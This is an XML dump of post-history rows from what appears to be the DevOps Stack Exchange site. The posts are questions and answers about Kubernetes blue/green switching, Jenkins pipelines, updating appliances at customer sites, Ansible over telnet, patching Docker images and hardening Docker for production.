  <row Id="10792" PostHistoryTypeId="2" PostId="3448" RevisionGUID="e2dd1c56-9b53-477a-833a-3d4642778fc1" CreationDate="2018-02-25T21:53:08.840" UserId="210" Text="http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk8&#xD;&#xA;http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk9&#xD;&#xA;&#xD;&#xA;Running:&#xD;&#xA;&#xD;&#xA;    curl -s http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk9 | jq .latestVersion&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    9.0.4&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    curl -s http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk8 | jq .latestVersion&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    8u162" ContentLicense="CC BY-SA 3.0" />
  <row Id="10794" PostHistoryTypeId="50" PostId="3127" RevisionGUID="1dc9ebd6-d1df-4caf-9f3a-742c335b5c48" CreationDate="2018-02-25T23:58:25.393" UserId="-1" />
  <row Id="10795" PostHistoryTypeId="2" PostId="3449" RevisionGUID="81529d3f-dc19-4364-83aa-957a9706726a" CreationDate="2018-02-26T03:35:46.527" UserId="6672" Text="The project is going with a new technology stack and I need to do a new CI / CD implementation. I started to play with Kubernetes and how to do blue / green deployment via command line. I managed to do switch manually via command line changing label selector in the service to filter green or blue pods. Now, what exactly I am looking for is kind of UI page where QA guys could do a switch between blue and green instances once they finished to test the application on staging server.&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA; 1. Web site is deployed to staging environment (i.e. green);&#xD;&#xA; 2. QA test it and confirm that everything is fine;&#xD;&#xA; 3. QA navigate to some UI to make green instance live and blue to staging;&#xD;&#xA;&#xD;&#xA;Are there any tools on the market for this?&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 3.0" />
  <row Id="10796" PostHistoryTypeId="1" PostId="3449" RevisionGUID="81529d3f-dc19-4364-83aa-957a9706726a" CreationDate="2018-02-26T03:35:46.527" UserId="6672" Text="Switching between blue / green services in Kubernetes using UI page" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostHistoryTypeId="3" PostId="3449" RevisionGUID="81529d3f-dc19-4364-83aa-957a9706726a" CreationDate="2018-02-26T03:35:46.527" UserId="6672" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10798" PostHistoryTypeId="2" PostId="3450" RevisionGUID="f9e11209-6f55-45f1-9f05-7a101e4889cc" CreationDate="2018-02-26T08:52:52.693" UserId="6579" Text="Jenkins allows you to construct a CI/CD pipeline that meets your requirements. Here's an example of a pipeline using an input step to decide which environment to deploy to. All you would need to do is wire the stages together.&#xD;&#xA;&#xD;&#xA;[![blueocean][1]][1]&#xD;&#xA;&#xD;&#xA;Here's an example of the pipeline code (declarative) used to create the example:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-java --&gt;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('Deploy Staging') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'deploying to staging'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Test Staging') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'testing staging env'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Blue/Green?') {&#xD;&#xA;          steps {&#xD;&#xA;            input(message: 'Blue/Green?', id: 'deploy', ok: 'deploy?', parameters: [choice(choices: 'blue\ngreen', description: 'Select an environment', name: 'PROD_ENV')])&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Other tools that provide similar capabilities are Rundeck, Stackstorm or Ansible Tower.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/cHE9M.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10799" PostHistoryTypeId="2" PostId="3451" RevisionGUID="4a70ff39-7893-4d88-8970-c24454ecc2db" CreationDate="2018-02-26T08:55:50.710" UserId="6674" Text="In the last weeks I have tried to find a solution to the following scenario assuming that someone else had similar requirements and documented his solution but all my searches were unsuccessful.&#xD;&#xA;So now I'll just ask away and hope that someone with enough experience in this field can give me directions so that I don't take the wrong turn too many times.&#xD;&#xA;&#xD;&#xA;The simplified scenario:&#xD;&#xA;&#xD;&#xA;Let's say I have written a piece of software with a web interface and REST API for my customers which absolutely has to run in the local network at the customer's premises. Additionally I want to offer my customers this product as a &quot;black box&quot; hardware appliance. I come to them with a small headless pre-installed and pre-configured PC, connect it to their network, perform only networking configuration and I'm done. The appliance is ready to communicate with any other software components running in the customer's network.&#xD;&#xA;&#xD;&#xA;To be a bit more precise my software product runs under Linux (and also Windows), it should also be possible to build it as a Docker container (if that makes any sense for the proposed solution, although my know-how with Docker is still limited). I expect to set up CentOS 7 on the appliances.&#xD;&#xA;&#xD;&#xA;The customer shouldn't have to do anything to maintain the appliance, it's all my responsibility, so now I have two challenges:&#xD;&#xA;&#xD;&#xA; * Keeping CentOS packages up-to-date&#xD;&#xA; * ‎Keeping my software package up-to-date&#xD;&#xA;&#xD;&#xA;To prevent all customers from experiencing the same bug at the same time I want to be in full control which customers update which packages at which point in time (essentially a staged rollout).&#xD;&#xA;In regards to my own software package this could very well be in form of different update channels (beta, stable, etc.).&#xD;&#xA;Ideally I am also able to fetch and push configuration and other files from/to the appliance.&#xD;&#xA;It would be great if I could use existing solutions for everything instead of rolling my own mechanisms.&#xD;&#xA;&#xD;&#xA;Also, the solution should scale to hundreds or even thousands of customers.&#xD;&#xA;&#xD;&#xA;What I have thought of until now:&#xD;&#xA;&#xD;&#xA;**[Spacewalk][1], [Puppet][2], etc.**&#xD;&#xA;&#xD;&#xA;For managing the CentOS systems. However, I have no idea whether any one is good at managing machines that are not running inside a single company network.&#xD;&#xA;&#xD;&#xA;**RPM packaging my software component**&#xD;&#xA;or&#xD;&#xA;**My software as a Docker container**&#xD;&#xA;&#xD;&#xA;I don't know which one of these would be better regarding updates. Docker may be overkill, it's just a single software application on a single machine for each customer, I only thought that it would ease application updates. Maybe an RPM package would be preferable, that way I could handle update channels as different RPM repositories and control the updates themselves with Spacewalk/Puppet.&#xD;&#xA;&#xD;&#xA;**An OpenELEC/LibreELEC [JeOS][3] approach**&#xD;&#xA;&#xD;&#xA;I don't know what this is called exactly or whether there are pre-built solutions for this but I have first encountered it with OpenELEC. Essentialy the whole OS and application are packaged in a single non-modifiable and updatable (kernel) image which is installed on the target machine and there's a separate partition for user and local configuration data.&#xD;&#xA;&#xD;&#xA;I know this is a pretty big question, but any pointers would be very appreciated.&#xD;&#xA;&#xD;&#xA;  [1]: https://spacewalkproject.github.io/&#xD;&#xA;  [2]: https://puppet.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Just_enough_operating_system" ContentLicense="CC BY-SA 3.0" />
  <row Id="10800" PostHistoryTypeId="1" PostId="3451" RevisionGUID="4a70ff39-7893-4d88-8970-c24454ecc2db" CreationDate="2018-02-26T08:55:50.710" UserId="6674" Text="Handle OS and Software maintenance/updates on Hardware distributed to Customers" ContentLicense="CC BY-SA 3.0" />
  <row Id="10801" PostHistoryTypeId="3" PostId="3451" RevisionGUID="4a70ff39-7893-4d88-8970-c24454ecc2db" CreationDate="2018-02-26T08:55:50.710" UserId="6674" Text="&lt;deployment&gt;&lt;configuration-management&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10806" PostHistoryTypeId="5" PostId="3451" RevisionGUID="3d61315b-248f-43d3-8c5d-d30a13790b24" CreationDate="2018-02-26T11:38:52.287" UserId="6674" Comment="clarification in regards to comment received" Text="In the last weeks I have tried to find a solution to the following scenario assuming that someone else had similar requirements and documented his solution but all my searches were unsuccessful.&#xD;&#xA;So now I'll just ask away and hope that someone with enough experience in this field can give me directions so that I don't take the wrong turn too many times.&#xD;&#xA;&#xD;&#xA;The simplified scenario:&#xD;&#xA;&#xD;&#xA;Let's say I have written a piece of software with a web interface and REST API for my customers which absolutely has to run in the local network at the customer's premises and will be provided to them as a &quot;black box&quot; hardware appliance. Apart from that I will essentially provide it &quot;as a service&quot; to them, meaning that maintenance and updates are my responsibility. I come to them with a small headless pre-installed and pre-configured PC, connect it to their network, perform only networking configuration and I'm done. The appliance is ready to communicate with any other software components running in the customer's network.&#xD;&#xA;&#xD;&#xA;To be a bit more precise my software product runs under Linux (and also Windows), it should also be possible to build it as a Docker container (if that makes any sense for the proposed solution, although my know-how with Docker is still limited). I expect to set up CentOS 7 on the appliances.&#xD;&#xA;&#xD;&#xA;Now I have two challenges:&#xD;&#xA;&#xD;&#xA; * Keeping CentOS packages up-to-date&#xD;&#xA; * ‎Keeping my software package up-to-date&#xD;&#xA;&#xD;&#xA;To prevent all customers from experiencing the same bug at the same time I want to be in full control which customers update which packages at which point in time on the appliance (essentially a staged rollout).&#xD;&#xA;In regards to my own software package this could very well be in form of different update channels (beta, stable, etc.).&#xD;&#xA;Ideally I am also able to fetch and push configuration and other files from/to the appliance.&#xD;&#xA;It would be great if I could use existing solutions for everything instead of rolling my own mechanisms.&#xD;&#xA;&#xD;&#xA;Also, the solution should scale to hundreds or even thousands of customers.&#xD;&#xA;&#xD;&#xA;What I have thought of until now:&#xD;&#xA;&#xD;&#xA;**[Spacewalk][1], [Puppet][2], etc.**&#xD;&#xA;&#xD;&#xA;For managing the CentOS systems. However, I have no idea whether any one is good at managing machines that are not running inside a single company network.&#xD;&#xA;&#xD;&#xA;**RPM packaging my software component**&#xD;&#xA;or&#xD;&#xA;**My software as a Docker container**&#xD;&#xA;&#xD;&#xA;I don't know which one of these would be better regarding updates. Docker may be overkill, it's just a single software application on a single machine for each customer, I only thought that it would ease application updates. Maybe an RPM package would be preferable, that way I could handle update channels as different RPM repositories and control the updates themselves with Spacewalk/Puppet.&#xD;&#xA;&#xD;&#xA;**An OpenELEC/LibreELEC [JeOS][3] approach**&#xD;&#xA;&#xD;&#xA;I don't know what this is called exactly or whether there are pre-built solutions for this but I have first encountered it with OpenELEC. Essentialy the whole OS and application are packaged in a single non-modifiable and updatable (kernel) image which is installed on the target machine and there's a separate partition for user and local configuration data.&#xD;&#xA;&#xD;&#xA;I know this is a pretty big question, but any pointers would be very appreciated.&#xD;&#xA;&#xD;&#xA;  [1]: https://spacewalkproject.github.io/&#xD;&#xA;  [2]: https://puppet.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Just_enough_operating_system" ContentLicense="CC BY-SA 3.0" />
  <row Id="10807" PostHistoryTypeId="2" PostId="3453" RevisionGUID="3bc7dd97-f6ed-4e6d-8963-f0cb1c4f2225" CreationDate="2018-02-26T11:59:22.123" UserId="6648" Text="I would like AWS Batch to use one of my existing ECS clusters.&#xD;&#xA;&#xD;&#xA;The problem is that when I create an unmanaged &quot;compute environment&quot; from the AWS Batch service, it doesn't allow me to specify an existing ECS cluster and it will automatically deploy a new ECS cluster (It doesn't let you choose). The reason why I want to associate my existing ECS cluster with the unmanaged &quot;compute enviromnent&quot; is because I don't want to pay for two ECS cluster when I already have one... &#xD;&#xA;&#xD;&#xA;Any suggestions/alternatives?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10808" PostHistoryTypeId="1" PostId="3453" RevisionGUID="3bc7dd97-f6ed-4e6d-8963-f0cb1c4f2225" CreationDate="2018-02-26T11:59:22.123" UserId="6648" Text="AWS Batch use existing ECS cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostHistoryTypeId="3" PostId="3453" RevisionGUID="3bc7dd97-f6ed-4e6d-8963-f0cb1c4f2225" CreationDate="2018-02-26T11:59:22.123" UserId="6648" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostHistoryTypeId="2" PostId="3454" RevisionGUID="b9655695-de21-44c6-bf15-3fa31c274e52" CreationDate="2018-02-26T14:24:39.540" UserId="6683" Text="Extremely new to Ansible. &#xD;&#xA;&#xD;&#xA;Was wondering how to best utilize telnet, rather than SSH, with ansible.&#xD;&#xA;We are using a Lantronix term server, and must telnet into individual ports.&#xD;&#xA;&#xD;&#xA;More specifically, would it be best to use a specific telnet module? If so, which is most intuitive. &#xD;&#xA;Alternatively, is it more efficient to simply modify connection type within the hosts file / YAML playbook?&#xD;&#xA;&#xD;&#xA;Appreciate any help. Thank you!" ContentLicense="CC BY-SA 3.0" />
  <row Id="10811" PostHistoryTypeId="1" PostId="3454" RevisionGUID="b9655695-de21-44c6-bf15-3fa31c274e52" CreationDate="2018-02-26T14:24:39.540" UserId="6683" Text="Utilizing telnet with Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="10812" PostHistoryTypeId="3" PostId="3454" RevisionGUID="b9655695-de21-44c6-bf15-3fa31c274e52" CreationDate="2018-02-26T14:24:39.540" UserId="6683" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10813" PostHistoryTypeId="2" PostId="3455" RevisionGUID="c6e37624-9385-4149-adf4-769d86c38a81" CreationDate="2018-02-26T14:31:34.063" UserId="6634" Text="As documented [here][1], ansible does not support telnet as connection plugin. This means you cannot use ansible to connect to a remote machine via telnet and execute any of the ansible modules.&#xD;&#xA;&#xD;&#xA;However, you can use `connection: local` for local connection(run ansible against the machine that is running it) and send `telnet` commands(reference [here][2]) from the machine where ansible runs.&#xD;&#xA;&#xD;&#xA;Example playbook will look something like that:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: false&#xD;&#xA;      &#xD;&#xA;      tasks:&#xD;&#xA;        - name: my first telnet task&#xD;&#xA;          telnet:&#xD;&#xA;            username: user&#xD;&#xA;            password: pass&#xD;&#xA;            command:&#xD;&#xA;              - my command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/devel/plugins/connection.html&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/2.4/telnet_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostHistoryTypeId="50" PostId="1931" RevisionGUID="f686362a-ccea-414c-af7c-8ec4b8b69ebd" CreationDate="2018-02-26T14:59:01.987" UserId="-1" />
  <row Id="10815" PostHistoryTypeId="50" PostId="3182" RevisionGUID="5c4446ce-a992-46ee-a01e-88d50b05b896" CreationDate="2018-02-26T16:59:01.987" UserId="-1" />
  <row Id="10816" PostHistoryTypeId="5" PostId="3440" RevisionGUID="9a44c16e-99cc-46c9-9e4e-790396935f32" CreationDate="2018-02-26T18:30:30.747" UserId="3" Comment="Improves linking." Text="You are correct that the `describe-instances` API doesn't include information about ephemeral volumes. Once an instance is created, the only way to know that it has such volumes is available from the metadata service that is accessible from the instance itself.&#xD;&#xA;&#xD;&#xA;According to [User Guide for Linux Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#bdm-instance-metadata), the mapped ephemeral volumes are shown in [instance metadata][1].&#xD;&#xA;&#xD;&#xA;Since you created the instances using Chef, another option would be to check the Chef state database - most probably the information about a created instance includes the ephemeral device information. But this method highly depends on your Chef version and the cookbook you use to create the instances, so YMMV.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10817" PostHistoryTypeId="50" PostId="1746" RevisionGUID="d61ad7cd-5922-4d0b-a85d-be8d6c1071c8" CreationDate="2018-02-26T19:00:35.473" UserId="-1" />
  <row Id="10818" PostHistoryTypeId="5" PostId="3454" RevisionGUID="a2c52ec2-28cc-498f-b2d5-0826d63b2f0f" CreationDate="2018-02-26T19:24:05.997" UserId="210" Comment="deleted 65 characters in body" Text="Was wondering how to best utilize telnet, rather than SSH, with ansible.&#xD;&#xA;We are using a Lantronix term server, and must telnet into individual ports.&#xD;&#xA;&#xD;&#xA;More specifically, would it be best to use a specific telnet module? If so, which is most intuitive. &#xD;&#xA;Alternatively, is it more efficient to simply modify connection type within the hosts file / YAML playbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10819" PostHistoryTypeId="2" PostId="3456" RevisionGUID="8880cf1d-4bf4-4d0d-af39-41d505578a26" CreationDate="2018-02-26T22:30:52.977" UserId="6686" Text="Docker and other container images have become important building blocks especially for software production pipelines. Unfortunately, several researchers (e.g. [BanyanOps][1]) have shown how vulnerable docker images can be , including those from the official distributors. I was researching into the possibilities for automatic patching of such vulnerable images when discovered. According to [this link][2], container patching is very sensitive and error-prone. Infact, there seems to be no solution as all the papers/reports about container image vulnerabilities do not proffer patching approaches. I will be grateful if someone has some opinions, options or even a possible solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://banyanops.com/blog/analyzing-docker-hub/&#xD;&#xA;  [2]: https://blogs.msdn.microsoft.com/stevelasker/2017/12/20/os-framework-patching-with-docker-containers-paradigm-shift/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10820" PostHistoryTypeId="1" PostId="3456" RevisionGUID="8880cf1d-4bf4-4d0d-af39-41d505578a26" CreationDate="2018-02-26T22:30:52.977" UserId="6686" Text="Automated patching of docker images" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostHistoryTypeId="3" PostId="3456" RevisionGUID="8880cf1d-4bf4-4d0d-af39-41d505578a26" CreationDate="2018-02-26T22:30:52.977" UserId="6686" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10822" PostHistoryTypeId="2" PostId="3457" RevisionGUID="6428183b-db6d-4911-a609-9217a596e177" CreationDate="2018-02-26T22:59:32.107" UserId="6153" Text="I have found a solution so I'll leave it here for others.&#xD;&#xA;&#xD;&#xA;using docker &#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;&#xD;&#xA;    pipeline{&#xD;&#xA;    agent buildsvr&#xD;&#xA;&#xD;&#xA;      stages{&#xD;&#xA;        stage('Checkout and build Docker Source'){&#xD;&#xA;          steps{&#xD;&#xA;            checkout([&#xD;&#xA;              $class: 'GitSCM',&#xD;&#xA;              branches: [[name: '*/master']],&#xD;&#xA;              doGenerateSubmoduleConfigurations: false,&#xD;&#xA;              submoduleCfg: [],&#xD;&#xA;              userRemoteConfigs: [[&#xD;&#xA;                credentialsId: 'asdf787c-5fd4-4dfb-81ad-873jhf107223',&#xD;&#xA;                url: &#xD;&#xA;    'git@mydockersourcerepo.git']]])&#xD;&#xA;            sh 'pushd docker &amp;&amp; docker build -t ${image}:latest . &amp;&amp; popd '&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Checkout Target Source'){&#xD;&#xA;          steps{&#xD;&#xA;            script{&#xD;&#xA;              checkout([&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                branches: [[name: 'mybranch']],&#xD;&#xA;                doGenerateSubmoduleConfigurations: false,&#xD;&#xA;                extensions: [[&#xD;&#xA;                  $class: 'SubmoduleOption',&#xD;&#xA;                  disableSubmodules: false,&#xD;&#xA;                  parentCredentials: false,&#xD;&#xA;                  recursiveSubmodules: true, reference: '',&#xD;&#xA;                  trackingSubmodules: true&#xD;&#xA;                  relativeTargetDir: 'source']],&#xD;&#xA;                submoduleCfg: [],&#xD;&#xA;                userRemoteConfigs: [[&#xD;&#xA;                  credentialsId: 'Bitbucket-Jenkins',&#xD;&#xA;                  url: 'ssh://git@sourcerepo.git']]])&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Build Source Target'){&#xD;&#xA;          steps{&#xD;&#xA;           script{&#xD;&#xA;              sh 'docker-compose up'&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      post{&#xD;&#xA;        success{&#xD;&#xA;          script{&#xD;&#xA;            sh 'docker tag ${image} 10.90.239.223:5000:/${image} &amp;&amp; docker push &#xD;&#xA;    10.90.239.223:5000:/${image}'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10823" PostHistoryTypeId="2" PostId="3458" RevisionGUID="63db8540-a3d7-4a0d-a59a-5ed4a8a1bcf4" CreationDate="2018-02-26T23:09:29.610" UserId="6153" Text="When I do `docker run` I have to give extensive argument options for my container setup.  To mitigate this and ensure all developers are using the same arguments I switched to docker-compose.  &#xD;&#xA;&#xD;&#xA;Now when I try to go run the same build from jenkins I can no longer use the docker plugin since no jenkins plugins seem to support `docker-compose up`, they all need to use the `docker` commands for the remote API instead of the `docker-compose` commands.&#xD;&#xA;&#xD;&#xA;Unless there are reasons not to, I would prefer `docker-compose up`.  I am aware I could create a bash script the does `docker run &lt;arguments&gt;` and let my jenkinsfile parse the script and load in the proper args but this feels ultra hacky.&#xD;&#xA;&#xD;&#xA;How can I use one or the other and keep them both in SCM and ensure that if a change is made to docker source (either the `docker-compose.yml` or possible a bash script running `docker run` with the proper arguments), it will work in both places?  Are there tools for this?  a plugin I am missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostHistoryTypeId="1" PostId="3458" RevisionGUID="63db8540-a3d7-4a0d-a59a-5ed4a8a1bcf4" CreationDate="2018-02-26T23:09:29.610" UserId="6153" Text="how to integrate docker-compose or docker run command arguements into SCM and Jenkins build" ContentLicense="CC BY-SA 3.0" />
  <row Id="10825" PostHistoryTypeId="3" PostId="3458" RevisionGUID="63db8540-a3d7-4a0d-a59a-5ed4a8a1bcf4" CreationDate="2018-02-26T23:09:29.610" UserId="6153" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10826" PostHistoryTypeId="5" PostId="1943" RevisionGUID="47d55181-13eb-4f31-82b2-6f9a29bfdc72" CreationDate="2018-02-26T23:22:14.540" UserId="210" Comment="deleted 18 characters in body" Text="Finally, you are so much in love with Docker that you want to move your online business-critical production systems with sensitive customer data to a Docker Swarm. Some might even already have done so. The other organization can't afford it by a policy forbidding production processes running in root mode.&#xD;&#xA;&#xD;&#xA;What could be a checklist of building blocks to consider for a Docker production environment? One does not need all of them, but all of them should be important to be assessed.&#xD;&#xA;&#xD;&#xA;*Disclaimer: I know there is a SE policy to avoid &quot;large endless lists&quot; but I think this checklist cannot be very big... and endless noway.*&#xD;&#xA;&#xD;&#xA;So - what are these buildings blocks?&#xD;&#xA;&#xD;&#xA;1. If not already deployed, consider running a Linux host system with advanced &#xD;&#xA;    security settings - hardened kernel, SELinux etc.&#xD;&#xA;2. Consider using a tiny Docker base image, like alpine, busybox or even scratch e.g. start with an empty base image&#xD;&#xA;3. Use USER setting other than root &#xD;&#xA;4. Carefully assess to further reduce the already shrinked set of kernel capabilities granted to container&#xD;&#xA;5. Consider having only one executable binary per container to launch your process, ideally statically linked&#xD;&#xA;6. Those who want to break your system to get a shell access might wonder if they found out your container has all shells disabled&#xD;&#xA;7. Mount read-only volumes where only possible&#xD;&#xA;&#xD;&#xA;**Question: what else?**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10827" PostHistoryTypeId="4" PostId="3458" RevisionGUID="ee33783b-e0f8-4001-9342-6e1d2297d3d8" CreationDate="2018-02-27T01:56:48.617" UserId="47" Comment="fixed typo in title" Text="how to integrate docker-compose or docker run command arguments into SCM and Jenkins build" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostHistoryTypeId="2" PostId="3459" RevisionGUID="05c6b98b-7f52-42b6-98c0-f80ffc3cffed" CreationDate="2018-02-27T02:43:44.283" UserId="47" Text="The key aspect in a Dev(Sec)Ops-oriented organisation is the inter-field communication and collaboration. From this perspective, the QA role can include activities such as:&#xD;&#xA;&#xD;&#xA;- continuous improvement of automated QA coverage/effectiveness, reliability, performance (which ideally should target CI/CD, but not always is/can be)&#xD;&#xA;- direct, active/constant involvement with Development:&#xD;&#xA;  - for TDD-based development&#xD;&#xA;  - for reproducing difficult customer-found defects, developing strategies for verifying their fixes and plugging the holes that allowed such bugs to reach the customer&#xD;&#xA;- feature, roadmap, resource planning, in which all fields should be involved&#xD;&#xA;&#xD;&#xA;For organisations building software delivered for deployment and operation by 3rd party customers (like IT infrastructure equipment or consumer products, for example) the QA role could bring their expertise (ideally alongside Development) in customer-facing interactions (maybe just in an assisting role) to improve the understanding of how the customer is using the product and the challenges they face and bring that feedback into the aspects of the product lifecycle under their influence.&#xD;&#xA;&#xD;&#xA;For organisations which also deploy and operate the software being produced the QA role may extend to/blend into the Security/Operations field while closing the loop back towards Development and itself, for example: &#xD;&#xA;&#xD;&#xA;- ensuring the product quality matches expectations&#xD;&#xA;- managing SLAs&#xD;&#xA;- constantly aiming for reducing deltas between the production environment and the Development/QA one(s), regardless of them being inside of the CI/CD pipeline or not&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10829" PostHistoryTypeId="4" PostId="3182" RevisionGUID="1e07d2bd-2d2a-4d91-a4a2-95cd284eb199" CreationDate="2018-02-27T02:51:03.010" UserId="47" Comment="fixed typo in title" Text="Does QA in DevOps roles means CI/CD or more?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10830" PostHistoryTypeId="5" PostId="3458" RevisionGUID="c89159ae-5922-43b4-89e1-ede2c8dc5c9a" CreationDate="2018-02-27T04:11:35.677" UserId="6153" Comment="added 98 characters in body" Text="When I do `docker run` I have to give extensive argument options for my container setup.  To mitigate this and ensure all developers are using the same arguments I switched to docker-compose.  &#xD;&#xA;&#xD;&#xA;Now when I try to go run the same build from jenkins I can no longer use the docker plugin since no jenkins plugins seem to support `docker-compose up`, they all need to use the `docker` commands for the remote API instead of the `docker-compose` commands.&#xD;&#xA;&#xD;&#xA;Unless there are reasons not to, I would prefer `docker-compose up`.  I am aware I could create a bash script the does `docker run &lt;arguments&gt;` and let my jenkinsfile parse the script and load in the proper args but this feels ultra hacky.&#xD;&#xA;&#xD;&#xA;How can I use one or the other and keep them both in SCM and ensure that if a change is made to docker source (either the `docker-compose.yml` or possible a bash script running `docker run` with the proper arguments), it will work in both places?  Are there tools for this?  a plugin I am missing?&#xD;&#xA;&#xD;&#xA;Also I desire to use CoreOs which doesn't natively support jenkins (no java and other things)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10831" PostHistoryTypeId="2" PostId="3460" RevisionGUID="3da4065a-0912-42f8-afe8-72a69df76f4c" CreationDate="2018-02-27T05:40:02.643" UserId="10" Text="I would like to keep a workspace in Jenkins until after the pull request is merged. Meaning, I don't want to clear the workspace after every build, but I also don't want to clear the workspace only when the branch gets deleted.&#xD;&#xA;&#xD;&#xA;How can I use the github webhooks to trigger a workspace cleanup whenever a pull request gets resolved as merged?&#xD;&#xA;&#xD;&#xA;Ideally, the solution would involve using my JenkinsFile/Pipelines." ContentLicense="CC BY-SA 3.0" />
  <row Id="10832" PostHistoryTypeId="1" PostId="3460" RevisionGUID="3da4065a-0912-42f8-afe8-72a69df76f4c" CreationDate="2018-02-27T05:40:02.643" UserId="10" Text="How can I clean/delete a Jenkins workspace after merge?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10833" PostHistoryTypeId="3" PostId="3460" RevisionGUID="3da4065a-0912-42f8-afe8-72a69df76f4c" CreationDate="2018-02-27T05:40:02.643" UserId="10" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10834" PostHistoryTypeId="2" PostId="3461" RevisionGUID="ad8769ef-aa5c-482f-9fa6-7975bb16aa18" CreationDate="2018-02-27T05:42:58.670" UserId="10" Text="If you have docker compose installed on the Jenkins Build machine you can use `sh docker-compose up` to run docker-compose from a new shell.&#xD;&#xA;&#xD;&#xA;In general, you can run any command from your JenkinsFile using the `sh ` command." ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostHistoryTypeId="2" PostId="3462" RevisionGUID="e199bcc1-cdd1-4be5-a03e-f4a6ec945d94" CreationDate="2018-02-27T05:58:33.840" UserId="10" Text="I've used zookeeper before as a configuration management service to keep track of application settings, feature toggles etc.  However, that was back in the day before microservices and AWS/Azure/GCP.  Since zookeeper tends to need multiple VMs to operate, is it still a good tool in the modern ecosystem?&#xD;&#xA;&#xD;&#xA;Are there better ways to handle feature toggles and centralized configuration settings for multiple environments using a more modern (aka serverless style) system?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostHistoryTypeId="1" PostId="3462" RevisionGUID="e199bcc1-cdd1-4be5-a03e-f4a6ec945d94" CreationDate="2018-02-27T05:58:33.840" UserId="10" Text="In a modern IaaS microservice based system is Zookeeper still a useful tool?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10837" PostHistoryTypeId="3" PostId="3462" RevisionGUID="e199bcc1-cdd1-4be5-a03e-f4a6ec945d94" CreationDate="2018-02-27T05:58:33.840" UserId="10" Text="&lt;configuration-management&gt;&lt;zookeeper&gt;" ContentLicense="CC BY-SA 3.0" />
